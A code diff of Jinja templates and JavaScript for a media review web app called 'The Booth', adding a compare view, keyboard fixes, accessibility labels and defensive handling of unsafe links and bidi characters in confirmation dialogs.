name="entry" value="{{ e.id }}" aria-pressed="{{ 'true' if e.pinned else 'false' }}"
name="entry" value="{{ e.id }}" aria-pressed="{{ 'true' if e.pinned else 'false' }}" aria-label="pin {{ e.desc }}"
title="{{ 'unpin' if e.pinned else 'pin to top' }}">{{ '★' if e.pinned else '☆' }}</button>
<div class="board-main">
<a class="board-link" href="{{ e.url }}" target="_blank" rel="noopener">{{ e.desc }}</a>
{% if e.safe %}<a class="board-link" href="{{ e.url }}" target="_blank" rel="noopener">{{ e.desc }}</a>
{%- else -%}
{# Refused, not hidden: the operator should see that something was posted
and that we would not link it. `is_safe_href` decides, in links.py. #}
<span class="board-link board-unsafe" title="refused: not an http(s) link">{{ e.desc }}</span>
<span class="board-dead-tag">unsafe link refused</span>
{%- endif %}
<div class="board-url">{{ e.url }}{% if e.dead %} <span class="board-dead-tag">booth is gone</span>{% endif %}</div>
</div>
<div class="board-meta">
{% if e.who %}<span class="board-who">{{ e.who }}</span>{% endif %}
{% if e.when %}<span class="board-when">{{ e.when }}</span>{% endif %}
{% if e.who|byline %}<span class="board-who">{{ e.who|byline }}</span>{% endif %}
{% if e.when %}<span class="board-when"><time datetime="{{ e.when }}">{{ e.when|clock }}</time></span>{% endif %}
</div>
<button type="button" class="copy-btn board-copy" data-copy="{{ e.url }}" title="copy URL">⧉</button>
<button type="button" class="copy-btn board-copy" data-copy="{{ e.url }}" title="copy URL" aria-label="copy the URL of {{ e.desc }}">⧉</button>
<button type="submit" class="board-rm-btn" formaction="/b/{{ name_url }}/unlink"
name="entry" value="{{ e.id }}" title="remove this link"
name="entry" value="{{ e.id }}" title="remove this link" aria-label="remove the link {{ e.desc }}"
data-desc="{{ e.desc }}" data-url="{{ e.url }}">×</button>
</div>
{% endfor %}
</form>
{% endif %}
{% if not items and not board and not marks %}
{# ⚠ THE RAIL IS GATED ON `all_items`, NOT `items`, AND THAT IS THE WHOLE
POINT. `items` is the FILTERED list, so gating on it meant a valid filter
with zero hits removed the rail, the filter links and the only way back to
`all` — while the empty-booth branch below announced the booth was empty
with `rail.total` still holding the real count. No recovery without editing
the address bar, and it failed the same way with JavaScript off, on the
surface the operator actually reviews on.
Found by the heid bug-hunt panel (gróa, 2026-09-22), whose own note called
it the finding most likely to bite users this week. #}
{% if not all_items and not board and not marks %}
<div class="empty">This booth is empty.</div>
{% elif items %}
{% elif all_items %}
{# THE LIGHTBOX (R2 C5). The verdict aside comes FIRST in the document and the
set second: on a narrow screen that is the stacking the contract wants
(the question above the work), and on a wide one the grid areas in
base.html put the aside on the right. Placement, not order — nothing in an
ordered collection moves. #}
{% if lightbox %}
<div class="lightbox">
<aside class="verdict" data-region="verdict" aria-label="your verdict">
{% include "_marks.html" %}
</aside>
<div class="lb-set">
{% endif %}
{# `elif items` and not a bare `else`: a board booth has NO gallery items (its
links.md is rendered as the board above and filtered out), so a plain else
would emit an empty <div class="gallery"> under the board. #}
@@ -256,7 +332,7 @@
is therefore the whole guard; the two degenerate cases (one group for
everything, one group per item) are decided in Python, where they can be
measured, rather than by a count in a template. #}
<div class="rail">
<div class="rail" data-region="filters">
<span class="rail-total">{{ rail.total }} item{{ '' if rail.total == 1 else 's' }}</span>
{% for f in rail.counts %}
<a class="rail-f{% if f.key == filter %} on{% endif %}"
@@ -276,14 +352,27 @@
</nav>
{% endif %}
</div>
{% if not items %}
{# An empty FILTER, not an empty booth. The rail above is still rendered, so
the way back to `all` is one click. #}
<div class="empty">No items match the <b>{{ filter }}</b> filter.
<a href="/b/{{ name_url }}/">show all {{ rail.total }}</a></div>
{% endif %}
{% set group_n = {} %}{% for g in rail.groups %}{% set _ = group_n.update({g.key: g.n}) %}{% endfor %}
<div class="gallery" id="grid" tabindex="-1">
{% for it in items %}
{# R2 C5: an inline header before each group's FIRST tile, only when the
rail thinks grouping is informative. A <div> spanning the grid, never a
figure.item, so the keyboard and the order check are blind to it. #}
{% if inline_groups and it.group and (loop.first or loop.previtem.group != it.group) %}
<div class="grp-head" aria-hidden="true"><span class="grp-key">{{ it.group }}</span> <span class="grp-n">{{ group_n.get(it.group, '') }}</span></div>
{% endif %}
{% if it.doc and it.rendered is not none %}
{# Docs render INLINE, collapsible, and closable — not a link to a
separate page. <details open> is native collapse (works with JS off);
the ✕ hides the item for the session (JS, progressive enhancement).
The item spans the full grid width so prose has room to read. #}
<figure class="item item-doc{% if it.blurred %} blurred{% endif %}" data-name="{{ it.name }}" data-item="{{ it.name }}" id="item-{{ it.name }}">
<figure class="item item-doc{% if it.blurred %} blurred{% endif %}" data-name="{{ it.name }}" data-item="{{ it.name }}" id="item-{{ it.url }}" data-region="item-{{ it.url }}">
{% if it.blurred %}
{# Inline docs need this MORE than images, not less: a rendered doc puts
its text straight on the page, so "blur the picture" logic that skips
@@ -294,10 +383,11 @@
<details class="doc-inline" open>
<summary class="doc-bar">
<span class="doc-chevron" aria-hidden="true">▸</span>
{{ ordinal(it) }}
<span class="doc-name">{{ it.name }}</span>
<span class="doc-spacer"></span>
<a class="doc-act" href="view?f={{ it.url }}" title="open full page">⤢</a>
<a class="doc-act" href="{{ it.url }}" download title="download {{ it.name }}">⬇</a>
<a class="doc-act" href="view?f={{ it.url }}" title="open full page" aria-label="open {{ it.name }} full page">⤢</a>
<a class="doc-act" href="{{ it.url }}" download title="download {{ it.name }}" aria-label="download {{ it.name }}">⬇</a>
{{ blurtoggle(name_url, it, 'doc-act') }}
{{ markcontrols(name_url, it, item_marks.get(it.name, []), 'doc-act') }}
<button type="button" class="doc-act doc-close" title="close (hide for now)" aria-label="close">✕</button>
@@ -316,7 +406,8 @@
</details>
</figure>
{% else %}
<figure class="item item-{{ it.kind }}{% if it.blurred %} blurred{% endif %}{% if item_marks.get(it.name, []) | selectattr('shape', 'equalto', 'flag') | list %} is-flagged{% endif %}" data-item="{{ it.name }}" id="item-{{ it.name }}">
<figure class="item item-{{ it.kind }}{% if it.blurred %} blurred{% endif %}{% if it.name in flagged_set %} is-flagged{% endif %}" data-item="{{ it.name }}" id="item-{{ it.url }}" data-region="item-{{ it.url }}">
{{ ordinal(it) }}
{% if it.blurred %}
{# Click-to-reveal is per-viewer and client-side: nothing is persisted, so
a reload re-hides it. No-JS degrades to STAYS BLURRED, which is the
@@ -324,7 +415,7 @@
<button type="button" class="reveal" aria-label="reveal {{ it.name }}">👁 reveal</button>
{% endif %}
{% if it.kind == 'image' %}
<a href="view?f={{ it.url }}"><img loading="lazy" src="{{ it.url }}" alt="{{ it.name }}"></a>
<a href="view?f={{ it.url }}"><img loading="lazy" decoding="async" src="{{ it.thumb or it.url }}" alt="{{ it.name }}"></a>
{% elif it.kind == 'video' %}
{# preload="none": a booth of a dozen webms was fetching them
all at page load ("metadata" still pulls real ranges per
@@ -349,8 +440,12 @@
{{ marknotes(name_url, it, item_marks.get(it.name, [])) }}
{% else %}
<figcaption>
<a class="dl-link" href="{{ it.url }}" download title="download {{ it.name }}">⬇</a>
<a class="dl-link" href="{{ it.url }}" download title="download {{ it.name }}" aria-label="download {{ it.name }}">⬇</a>
<span class="cap-text">{{ it.caption or it.name }}</span>
{# R2: every MEDIA tile links into the review — a picture through its
image, sound and video through this. Enter on the grid cursor
follows the first `view` link on the tile. #}
{% if it.kind in ('video', 'audio') %}<a class="rv-link" href="view?f={{ it.url }}" title="review at full size">⤢ review</a>{% endif %}
{{ blurtoggle(name_url, it) }}
{{ markcontrols(name_url, it, item_marks.get(it.name, [])) }}
</figcaption>
@@ -360,6 +455,10 @@
{% endif %}
{% endfor %}
</div>
{% if lightbox %}
</div>{# .lb-set #}
</div>{# .lightbox #}
{% endif %}
{% endif %}
{% if items %}
@@ -386,6 +485,32 @@
t[at].scrollIntoView({ block: 'nearest' });
}
function current() { var t = tiles(); return at >= 0 && at < t.length ? t[at] : null; }
/* WHERE THE CURSOR STARTS WHEN THERE ISN'T ONE. Starting at tile 0
unconditionally meant the first arrow key after ANY scroll yanked the
viewport back to the top — and a group jump is a scroll, so `→` right
after a jump silently undid it. Found by the heid bug-hunt panel (gróa),
2026-09-22; the general scroll-then-arrow case is the same defect.
The first tile whose bottom edge clears the sticky rail is the one the
reader is looking at, so that is where the cursor picks up. */
function fromViewport() {
/* ⚠ `.rail` IS A CROSS-FILE CONTRACT, read by two scripts in two files
owned by two different agents: this one, and the --rail-h measuring
script in base.html that publishes the rail's height for
`scroll-margin-top` (the rail wraps, so no CSS number can know it).
RENAMING IT BREAKS BOTH, and neither breaks loudly — this one falls back
to treating the viewport top as the boundary and starts the cursor one
tile too high; that one falls back to a fixed guess. base.html carries
the mirror of this note above the `.rail` rule. Agreed with design-dev
2026-09-23 during the SVOS retheme, which is the change that made the
selector load-bearing in two places instead of one. */
var t = tiles(), rail = document.querySelector('.rail');
var top = rail ? rail.getBoundingClientRect().bottom : 0;
for (var i = 0; i < t.length; i++) {
if (t[i].getBoundingClientRect().bottom > top) return i;
}
return 0;
}
function click(sel) {
var el = current(); if (!el) return;
var b = el.querySelector(sel); if (b) b.click();
@@ -396,10 +521,19 @@
if (tag === 'input' || tag === 'textarea' || e.target.isContentEditable) return;
if (e.metaKey || e.ctrlKey || e.altKey) return;
switch (e.key) {
case 'ArrowRight': focus(at + 1); e.preventDefault(); break;
case 'ArrowLeft': focus(at <= 0 ? 0 : at - 1); e.preventDefault(); break;
case 'f': click('.flagbtn, [name="target"]'); e.preventDefault(); break;
case 'ArrowRight': focus(at < 0 ? fromViewport() : at + 1); e.preventDefault(); break;
case 'ArrowLeft': focus(at < 0 ? fromViewport() : at - 1); e.preventDefault(); break;
/* `.flagbtn` never existed in this repo, so this fell through to the
HIDDEN target input — and clicking a hidden input does not submit its
form. `f` has never worked, while still swallowing the keystroke.
Found by the heid bug-hunt panel (hulda), 2026-09-22. */
case 'f': click('.flagtoggle button'); e.preventDefault(); break;
case 'n': var el = current();
/* The add-note field lives in a closed <details> (270 tiles
must not each carry an open textarea); a closed one cannot
take focus, so open it first. */
var d = el && el.querySelector('details.item-addnote');
if (d) d.open = true;
if (el) { var f = el.querySelector('input[type=text], textarea');
if (f) { f.focus(); e.preventDefault(); } }
break;
@@ -409,6 +543,13 @@
at = -1; break;
}
});
/* R2 C3: an in-place save swaps the tiles for fresh server-rendered ones,
and the cursor is client state the server cannot render. Put it back on
the same position — the order did not change, only the judgment. */
document.addEventListener('booth:swapped', function () {
if (at < 0) return;
tiles().forEach(function (el, j) { el.classList.toggle('is-cursor', j === at); });
});
})();
</script>
{% endif %}
@@ -445,17 +586,30 @@
});
})();
/* Inline-doc ✕ closes (hides) a rendered doc for the session. The button sits
/* TILE CONTROLS, bound per node and RE-BOUND after an in-place swap (R2 C3):
the swap puts fresh server-rendered tiles in the page, and a handler bound
to the node it replaced goes with that node. `__bound` keeps a node from
being bound twice.
Inline-doc ✕ closes (hides) a rendered doc for the session. The button sits
inside <summary>, so without this its click would just toggle the <details>
open/closed — stopPropagation + preventDefault make ✕ mean "close", not
"collapse". Collapse stays available via the rest of the summary bar. With
JS off the button is inert and collapse via <details> still works. */
(function () {
JS off the button is inert and collapse via <details> still works.
Blur reveal. WARNING: this handler previously sat after the content block's
closing tag, which in a child template Jinja DISCARDS — the button rendered
and did nothing, and two commits plus a README claimed click-to-reveal
worked. Anything that must reach the page belongs inside the content
block. Per-viewer and never persisted: a reload re-hides. */
function bindTiles() {
function once(el) { if (el.__bound) return false; el.__bound = true; return true; }
/* A form inside <summary> would otherwise collapse the doc on submit. */
document.querySelectorAll('.doc-bar .blurtoggle').forEach(function (f) {
f.addEventListener('click', function (ev) { ev.stopPropagation(); });
document.querySelectorAll('.doc-bar .blurtoggle, .doc-bar .flagtoggle').forEach(function (f) {
if (once(f)) f.addEventListener('click', function (ev) { ev.stopPropagation(); });
});
document.querySelectorAll('.doc-close').forEach(function (btn) {
if (!once(btn)) return;
btn.addEventListener('click', function (ev) {
ev.preventDefault();
ev.stopPropagation();
@@ -463,8 +617,25 @@
if (item) item.classList.add('is-closed');
});
});
})();
document.querySelectorAll('.item.blurred .reveal').forEach(function (btn) {
var fig = btn.closest('.item');
/* a swap carries `revealed` across (base.html); the label follows it */
btn.textContent = fig.classList.contains('revealed') ? '🙈 hide' : '👁 reveal';
if (!once(btn)) return;
btn.addEventListener('click', function (ev) {
ev.preventDefault();
ev.stopPropagation();
var on = fig.classList.toggle('revealed');
btn.textContent = on ? '🙈 hide' : '👁 reveal';
});
});
}
bindTiles();
document.addEventListener('booth:swapped', bindTiles);
/* RESTORED (heid bug-hunt, 2/4): R2's rewrite of the tile handlers above
deleted this block with them. Its confirmations guard destructive
actions, so it is back verbatim. */
/* Link-board multi-select. PROGRESSIVE ENHANCEMENT: the checkboxes, the per-row
× / ★, and the bulk 🗑 all submit as plain form POSTs with JS off — this only
adds select-all, a live count, and disabling 🗑 when nothing is ticked. The
@@ -509,10 +680,26 @@
});
}
/* ⚠ THE DIALOG'S TEXT IS WHAT THE OPERATOR APPROVES, and a board row's
description and URL are written by any of seventeen agent handles. A bidi
override (U+202E) or a newline in either REWRITES what he reads before
consenting to a delete — the row shown is not the row removed. Escaping
protects the PAGE; `confirm` renders a plain string and escaping does
nothing for it.
Controls and bidi formatting render as U+FFFD: visibly mangled, never
silently re-ordered. Same treatment and same helper shape as the wipe
dialog on the Desk (design-dev, round Slate, who found this one too). */
function shown(n) {
return String(n).replace(
/[\u0000-\u001f\u007f-\u009f\u061c\u200e\u200f\u202a-\u202e\u2066-\u2069]/g,
'\ufffd');
}
form.querySelectorAll('.board-rm-btn').forEach(function (btn) {
btn.addEventListener('click', function (ev) {
var d = btn.getAttribute('data-desc') || '';
var u = btn.getAttribute('data-url') || '';
var d = shown(btn.getAttribute('data-desc') || '');
var u = shown(btn.getAttribute('data-url') || '');
if (!confirm('Remove this link?\n\n' + d + '\n' + u + '\n\nThe rest of the board is untouched.')) {
ev.preventDefault();
}
@@ -521,22 +708,5 @@
refresh();
})();
/* Blur reveal. WARNING: this handler previously sat after the content
block's closing tag, which in a
child template Jinja DISCARDS — the button rendered and did nothing, and
two commits plus a README claimed click-to-reveal worked. Anything that
must reach the page belongs inside the content block. Verified now by
grepping the SERVED html for this function, not the template for the text.
Per-viewer and never persisted: a reload re-hides. */
document.querySelectorAll('.item.blurred .reveal').forEach(function (btn) {
btn.addEventListener('click', function (ev) {
ev.preventDefault();
ev.stopPropagation();
var fig = btn.closest('.item');
var on = fig.classList.toggle('revealed');
btn.textContent = on ? '🙈 hide' : '👁 reveal';
});
});
</script>
{% endblock %}
+275
View File
@@ -0,0 +1,275 @@
{% extends "base.html" %}
{% block title %}{{ sides.a.rel }} · {{ sides.b.rel }} · compare · {{ name }} · The Booth{% endblock %}
{# data-booth: without it Reveal all's script and the head script's reveal
restore both bail (r3 C6). #}
{% block html_attrs %} data-booth="{{ name }}"{% endblock %}
{% block body_attrs %} class="page-stage"{% endblock %}
{# COMPARE (R3). Two items of the review ring side by side, one judgment each:
flag the winner. The pair is two rels in the URL, always (INV-1); the active
side and the linked stepping ride the URL as view state. Everything a mark
can change is a `data-region` keyed by SIDE, never by rel (`a == b` would
duplicate it) and never `item-` (the swap reads that as a stale tile). THE
STAGES NEVER ARE: swapping one would restart a playing track.
The root carries `review` so the review's blur, 1:1 and Reveal-all rules
apply unchanged; `.compare` overrides its grid. #}
{% macro num(n) -%}#{{ "%0*d"|format(ord_width, n) }}{%- endmacro %}
{% block content %}
<h1 class="sr-only">compare {{ sides.a.rel }} and {{ sides.b.rel }}</h1>
<div class="viewer review compare" data-linked="{{ '1' if linked else '0' }}">
<div class="vbar">
<a class="vbtn vx" href="{{ back_url }}" title="back to the review of A (Esc)" aria-label="back to the review of A">✕</a>
<span class="vname">compare <span class="cmp-vs"><span class="ord">{{ num(sides.a.ordinal) }}</span> · <span class="ord">{{ num(sides.b.ordinal) }}</span></span></span>
<span class="vspacer"></span>
<a class="vbtn cmp-step" data-step="both-prev" href="{{ steps.both_prev }}" title="both back (←)" aria-label="both back">‹‹</a>
<a class="vbtn cmp-step" data-step="both-next" href="{{ steps.both_next }}" title="both forward (→)" aria-label="both forward">››</a>
{# JS-only, like the stage toggle: without JS there are no keys to link,
and the per-side and both-sides links above step either way. #}
<button type="button" class="vbtn cmp-link" id="cmp-link" aria-pressed="{{ 'true' if linked else 'false' }}" hidden
title="linked: ← and → move both sides (L)">{{ '⛓ linked' if linked else '⛓ unlinked' }}</button>
{% if any_image %}
<span class="vtoggle" id="vtoggle" hidden>
<button type="button" class="vseg on" id="btn-fit" aria-pressed="true" title="the whole picture, as large as the stage allows (Z)">Fit</button><button type="button" class="vseg" id="btn-one" aria-pressed="false" aria-label="1:1, natural pixels" title="natural pixels — drag to pan; both stages pan together (Z)">1:1</button>
</span>
{% endif %}
{% if film | selectattr('blurred') | list %}<button type="button" class="reveal-all-btn" data-reveal-all hidden title="blur is cosmetic — the files are still served"><span class="ra-label">👁 reveal all</span><span class="ra-note"> — blur is cosmetic</span></button>{% endif %}
</div>
<div class="cmp-body">
{% for key in ('a', 'b') %}{% set s = sides[key] %}{% set L = key | upper %}
<section class="cmp-side{% if active == key %} is-active{% endif %}" data-side="{{ key }}" aria-label="side {{ L }}">
<div class="cmp-head">
<a class="cmp-step" data-step="{{ key }}-prev" href="{{ steps[key ~ '_prev'] }}" title="{{ L }} back" aria-label="{{ L }} back">‹</a>
<div class="cmp-label" data-region="label-{{ key }}"><span class="cmp-letter">{{ L }}</span> <span class="ord">{{ num(s.ordinal) }}</span> <span class="cmp-name" title="{{ s.rel }}">{{ s.rel }}</span>{% if s.flagged %} <span class="cmp-flagged">✔ flagged</span>{% endif %}</div>
<a class="cmp-step" data-step="{{ key }}-next" href="{{ steps[key ~ '_next'] }}" title="{{ L }} forward" aria-label="{{ L }} forward">›</a>
<a class="cmp-review" href="{{ s.review }}" title="the full review of {{ s.rel }}">review {{ L }}</a>
</div>
<div class="cmp-stagewrap">
<div class="vstage{% if s.kind == 'image' %} is-img{% endif %}{% if s.blurred %} is-blurred{% endif %}" data-side="{{ key }}">
{% if s.kind == 'image' %}<img src="{{ s.url }}" alt="{{ s.rel }}" draggable="false">
{% elif s.kind == 'video' %}<video class="cmp-media" controls preload="metadata" src="{{ s.url }}"></video>
{% else %}<audio class="cmp-media" controls preload="metadata" src="{{ s.url }}"></audio>
{% endif %}
</div>
{# Over the stage, never inside its scrolled content; JS-only, so
`hidden` until bound (the review's pattern). #}
{% if s.blurred %}<button type="button" class="reveal cmp-reveal" data-side="{{ key }}" aria-label="reveal {{ L }}" hidden>👁 reveal — blur is cosmetic</button>{% endif %}
</div>
<div class="cmp-foot">
<div class="cmp-flag" data-region="flag-{{ key }}">
<form class="vflag" method="post" action="/b/{{ name_url }}/flag" data-inplace>
<input type="hidden" name="target" value="{{ s.rel }}">
<input type="hidden" name="on" value="{{ '0' if s.flagged else '1' }}">
<input type="hidden" name="back" value="compare">
<input type="hidden" name="a" value="{{ sides.a.rel }}">
<input type="hidden" name="b" value="{{ sides.b.rel }}">
<input type="hidden" name="side" value="{{ active }}">
<input type="hidden" name="link" value="{{ '1' if linked else '0' }}">
<button class="vbtn vflag-btn{% if s.flagged %} is-flagged{% endif %}" id="cmp-flag-{{ key }}"
title="{{ 'un-flag' if s.flagged else 'flag' }} {{ L }} ({{ L }})">{{ '✔ flagged' if s.flagged else '○ flag' }} {{ L }} <kbd>{{ L }}</kbd></button>
</form>
</div>
{% if s.caption %}<div class="cmp-cap">{{ s.caption }}</div>{% endif %}
</div>
</section>
{% endfor %}
</div>
<div class="cmp-keys"><kbd>←</kbd> <kbd>→</kbd> <kbd>Space</kbd> step · <kbd>A</kbd> <kbd>B</kbd> flag · <kbd>X</kbd> side · <kbd>L</kbd> link · <kbd>Z</kbd> Fit/1:1 · <kbd>Esc</kbd> review</div>
{# THE FILMSTRIP IS THE PICKER: the review ring in ring order. Without JS a
frame is a link that replaces the active side from the URL (B by
default); with JS a click replaces the side that is active NOW. #}
<nav class="film" data-region="film" aria-label="pick from the set">
{% for x in film %}
<a class="film-f{% if x.flagged %} is-flagged{% endif %}{% if x.blurred %} is-blurred{% endif %}{% if x.is_a %} is-a{% endif %}{% if x.is_b %} is-b{% endif %}{% if (active == 'a' and x.is_a) or (active == 'b' and x.is_b) %} is-active{% endif %}"
href="{{ x.pick }}" data-rel="{{ x.name }}" data-pick-a="{{ x.pick_a }}" data-pick-b="{{ x.pick_b }}" title="{{ x.name }}">
<span class="sr-only">{{ x.name }}</span>{%- if x.kind == 'image' %}<img loading="lazy" decoding="async" src="{{ x.thumb or x.url }}" alt="">{% else %}<span class="film-kind">{{ '♪' if x.kind == 'audio' else '▶' }}</span>{% endif -%}
<span class="film-ord">{{ num(x.ordinal) }}</span>
{%- if x.is_a or x.is_b %}<span class="film-ab">{{ 'A' if x.is_a }}{{ 'B' if x.is_b }}</span>{% endif -%}
</a>
{% endfor %}
</nav>
</div>
{% include "_stage_js.html" %}
<script>
(function () {
var BACK = {{ back_url|tojson }};
var d = document.documentElement;
var root = document.querySelector('.viewer.compare');
var sides = {a: root.querySelector('.cmp-side[data-side="a"]'),
b: root.querySelector('.cmp-side[data-side="b"]')};
/* THE VIEW STATE (r3 C2): the active side and the linked stepping, read
from the server's render of THIS URL, and written back into the URL in
place whenever they change, so every step — a full page load — keeps
them. Kept on the sides (never on a region: a save swaps regions). */
var active = sides.a.classList.contains('is-active') ? 'a' : 'b';
var linked = root.getAttribute('data-linked') !== '0';
/* A compare href with THIS page's view state: `side` and `link` dropped
and re-added from the closed set, the pair's own params untouched (their
encoding is the server's, never re-serialised here). */
function withState(href) {
var i = href.indexOf('?');
if (i < 0) return href;
var parts = href.slice(i + 1).split('#')[0].split('&').filter(function (p) {
/* by the DECODED name: `%73ide=a` is `side=a` to the server */
var n = p.split('=')[0];
try { n = decodeURIComponent(n.replace(/\+/g, ' ')); } catch (e) {}
return p && n !== 'side' && n !== 'link';
});
if (active === 'a') parts.push('side=a');
if (!linked) parts.push('link=0');
return href.slice(0, i) + '?' + parts.join('&');
}
function go(href) { window.location.href = href; }
/* Every server-built link, the URL and the flag forms' landing fields
follow the state; the strip's markers follow the active side. Run on
every change of state and after a save swaps the regions. */
function restate() {
['a', 'b'].forEach(function (k) { sides[k].classList.toggle('is-active', k === active); });
document.querySelectorAll('.film-f').forEach(function (f) {
f.classList.toggle('is-active', f.classList.contains('is-' + active));
var pick = f.getAttribute('data-pick-' + active);
if (pick) f.setAttribute('href', withState(pick));
});
document.querySelectorAll('a[data-step]').forEach(function (a) {
a.setAttribute('href', withState(a.getAttribute('href')));
});
document.querySelectorAll('.cmp-flag form').forEach(function (f) {
var sd = f.querySelector('input[name="side"]'), ln = f.querySelector('input[name="link"]');
if (sd) sd.value = active;
if (ln) ln.value = linked ? '1' : '0';
});
root.setAttribute('data-linked', linked ? '1' : '0');
try { history.replaceState(history.state, '', withState(location.pathname + location.search)); } catch (e) {}
}
function setActive(k) { if (k !== active) { active = k; restate(); } }
/* THE LINKED TOGGLE (C3): JS-only, because without JS there are no keys to
link; its state is the URL's `link`, and nothing else remembers it. */
var lbtn = document.getElementById('cmp-link');
function showLinked() {
lbtn.setAttribute('aria-pressed', linked ? 'true' : 'false');
lbtn.textContent = linked ? '⛓ linked' : '⛓ unlinked';
}
function setLinked(on) { linked = on; showLinked(); restate(); }
lbtn.hidden = false;
showLinked();
lbtn.addEventListener('click', function () { setLinked(!linked); });
/* THE STAGES (C4): the shared machinery, attached once per stage; one mode
for both, bound once, and only when a side is a picture. This page owns
its own ResizeObserver, because `pannable` changes on resize. */
var stages = ['a', 'b'].map(function (k) {
var el = sides[k].querySelector('.vstage');
return {k: k, el: el, st: BoothStage.attach(el, {img: el.querySelector('img')})};
});
function settleAll() { stages.forEach(function (s) { s.st.settle(); }); }
var mode = null, toggle = document.getElementById('vtoggle');
if (toggle) mode = BoothMode.bind({
toggle: toggle,
fit: document.getElementById('btn-fit'),
one: document.getElementById('btn-one'),
onChange: settleAll
});
if (window.ResizeObserver) {
var ro = new ResizeObserver(settleAll);
stages.forEach(function (s) { ro.observe(s.el); });
} else window.addEventListener('resize', settleAll);
/* A press on a stage makes its side the active one. */
stages.forEach(function (s) {
s.el.addEventListener('pointerdown', function () { setActive(s.k); });
});
/* SYNCED PAN (C4). In 1:1 a scroll of either stage — a drag, a scrollbar,
a wheel — puts the other at the SAME FRACTION of its own scrollable
range, per axis; an axis with nothing to scroll on either side is left
alone. A scroll the sync caused is recognised by where it landed and is
never synced back, so there is no loop and no drift. */
function sync(from, to) {
var fx = from.scrollWidth - from.clientWidth, fy = from.scrollHeight - from.clientHeight;
var tx = to.scrollWidth - to.clientWidth, ty = to.scrollHeight - to.clientHeight;
var l = to.scrollLeft, t = to.scrollTop;
if (fx > 0 && tx > 0) l = from.scrollLeft / fx * tx;
if (fy > 0 && ty > 0) t = from.scrollTop / fy * ty;
var was = [to.scrollLeft, to.scrollTop];
to.scrollTo(l, t);
if (to.scrollLeft !== was[0] || to.scrollTop !== was[1]) to.__synced = {l: to.scrollLeft, t: to.scrollTop};
}
stages.forEach(function (s, i) {
var other = stages[1 - i].el;
s.el.addEventListener('scroll', function () {
var mine = s.el.__synced;
if (mine) {
s.el.__synced = null;
if (Math.abs(s.el.scrollLeft - mine.l) < 1 && Math.abs(s.el.scrollTop - mine.t) < 1) return;
}
if (!d.classList.contains('stage-one') || other === s.el) return;
sync(s.el, other);
}, {passive: true});
});
/* Blur reveal per side — per-viewer, never persisted; cosmetic, and the
button says so. Over the stage, never in its scrolled content. */
root.querySelectorAll('.cmp-reveal').forEach(function (btn) {
var stage = sides[btn.getAttribute('data-side')].querySelector('.vstage');
btn.hidden = false;
btn.addEventListener('click', function () {
var on = stage.classList.toggle('revealed');
btn.textContent = on ? '🙈 hide' : '👁 reveal — blur is cosmetic';
});
});
/* THE PICKER (C2): a click on a frame replaces the side that is active
NOW. Delegated at the document, because a save replaces the frames. A
modified click keeps the browser's own meaning (a new tab), with the
href restate() keeps current. */
document.addEventListener('click', function (e) {
var f = e.target.closest && e.target.closest('.film-f');
if (!f || e.defaultPrevented || e.button !== 0) return;
if (e.metaKey || e.ctrlKey || e.shiftKey || e.altKey) return;
var pick = f.getAttribute('data-pick-' + active);
if (!pick) return;
e.preventDefault();
go(withState(pick));
});
document.addEventListener('booth:swapped', restate);
/* THE KEYS (C3). EVERY key here is ignored while focus is in something
editable and whenever Ctrl, Meta or Alt is held (the review's rule,
applied to all of them). */
function isEditable(el) {
return !!(el && (el.isContentEditable ||
/^(input|textarea|select)$/i.test(el.tagName || '')));
}
function step(dir) {
var which = (linked ? 'both' : active) + (dir < 0 ? '-prev' : '-next');
var a = document.querySelector('a[data-step="' + which + '"]');
if (a) go(withState(a.getAttribute('href')));
}
document.addEventListener('keydown', function (e) {
if (isEditable(e.target)) return;
if (e.metaKey || e.ctrlKey || e.altKey) return;
var k = e.key;
if (k === 'Escape' || k === 'c' || k === 'C') go(BACK);
else if (k === 'ArrowLeft') step(-1);
else if (k === 'ArrowRight') step(1);
/* Space steps only from nowhere in particular: never from a focused
control (Space presses it) and never from a player on either stage. */
else if (k === ' ') {
if (e.target.closest && e.target.closest('button, a, summary, video, audio')) return;
e.preventDefault();
step(e.shiftKey ? -1 : 1);
}
else if (k === 'a' || k === 'A' || k === 'b' || k === 'B') {
/* looked up at press time: a save may have replaced the button */
var btn = document.getElementById('cmp-flag-' + k.toLowerCase());
if (btn) { e.preventDefault(); btn.click(); }
}
else if (k === 'x' || k === 'X') setActive(active === 'a' ? 'b' : 'a');
else if (k === 'l' || k === 'L') setLinked(!linked);
else if ((k === 'z' || k === 'Z') && mode) mode.flip();
});
})();
</script>
{% endblock %}
+34 -8
View File
@@ -1,12 +1,16 @@
{% extends "base.html" %}
{% block title %}{{ file }} · {{ name }} · The Booth{% endblock %}
{% block html_attrs %} data-booth="{{ name }}"{% endblock %}
{% block content %}
<div class="docview">
<div class="vbar">
<a class="vbtn vx" href="/b/{{ name_url }}/" title="back to gallery (Esc)">✕</a>
<a class="vbtn vx" href="/b/{{ name_url }}/" title="back to gallery (Esc)" aria-label="back to the gallery">✕</a>
<span class="vname">{{ file }}</span>
<span class="vspacer"></span>
<a class="vbtn" href="{{ file_url }}?dl=1" title="download {{ file }}">⬇</a>
{# Reveal all can lift this page's blur, so this page must be able to put it
back (r2b, heid bug-hunt). #}
{% if blurred %}<button type="button" class="reveal-all-btn" data-reveal-all hidden title="blur is cosmetic — the files are still served"><span class="ra-label">👁 reveal all</span><span class="ra-note"> — blur is cosmetic</span></button>{% endif %}
<a class="vbtn" href="{{ file_url }}?dl=1" title="download {{ file }}" aria-label="download {{ file }}">⬇</a>
</div>
{# Same record, same reason as the image viewer: the sidecar that says what
this doc IS travels with it to full-page view. #}
@@ -16,21 +20,35 @@
{% for m in marks if m.shape == 'note' %}<pre class="vnote">{{ m.text }}</pre>{% endfor %}
</div>
{% endif %}
{# Blur honesty reaches the full page too (r2b, heid code-review): a blurred
doc's own page rendered clear. Its reveal is per-page and JS-only, like the
review stage's; Reveal all lifts it by the same <html> class. #}
<div class="docbody{% if blurred %} is-blurred{% endif %}" id="docbody">
{% if blurred %}<button type="button" class="reveal" id="docreveal" hidden>👁 reveal — blur is cosmetic</button>{% endif %}
{% if is_html %}
<article class="markdown-body">{{ body|safe }}</article>
{% else %}
<pre class="textview">{{ body }}</pre>
{% endif %}
</div>
</div>
<style>
/* .markdown-body and .textview now live in base.html (shared with the inline
/* .markdown-body and .textview live in base.html (shared with the inline
gallery view). Only the full-page layout wrapper is page-specific. */
.docview{max-width:52rem;margin:0 auto;padding:0 clamp(12px,3vw,20px) 4rem}
.docview{max-width:52rem;margin:0 auto;padding:0 clamp(12px,3vw,20px) 64px}
